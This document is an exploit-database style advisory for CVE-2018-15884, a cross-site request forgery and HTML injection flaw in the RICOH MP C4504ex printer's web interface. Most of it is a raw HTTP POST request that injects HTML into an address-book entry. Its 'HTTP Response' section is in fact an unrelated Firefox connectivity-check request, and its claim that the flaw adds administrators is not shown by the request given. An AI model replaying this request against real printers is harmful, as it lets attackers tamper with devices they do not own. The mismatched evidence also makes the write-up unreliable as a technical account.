RICOH MP C4504ex Printer Cross-Site Request Forgery

2018.08.27
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: RICOH MP C4504ex Printer - Cross-Site Request Forgery (Add Admin) # Date: 2018-08-21 # Exploit Author: Ismail Tasdelen # Vendor Homepage: https://www.ricoh.com/ # Hardware Link : https://www.ricoh-usa.com/en/products/pd/equipment/printers-and-copiers/multifunction-printers-copiers/mp-c4504ex-color-laser-multifunction-printer/_/R-417998 # Software : RICOH Printer # Product Version: MP C4504ex # Vulernability Type : Code Injection # Vulenrability : HTML Injection # CVE : CVE-2018-15884 # CSRF vulnerability has been discovered on the printer of MP C4504ex of RICOH product. # Low priviliage users are able to create administrator accounts HTTP POST Request : POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1 Host: 192.168.0.10 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.10/web/entry/en/address/adrsList.cgi Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 193 Cookie: risessionid=132072532817225; cookieOnOffChecker=on; wimsesid=103007361 Connection: close mode=ADDUSER&step=BASE&wimToken=2051165463&entryIndexIn=00007&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1 HTTP Response Request : GET /success.txt HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: close


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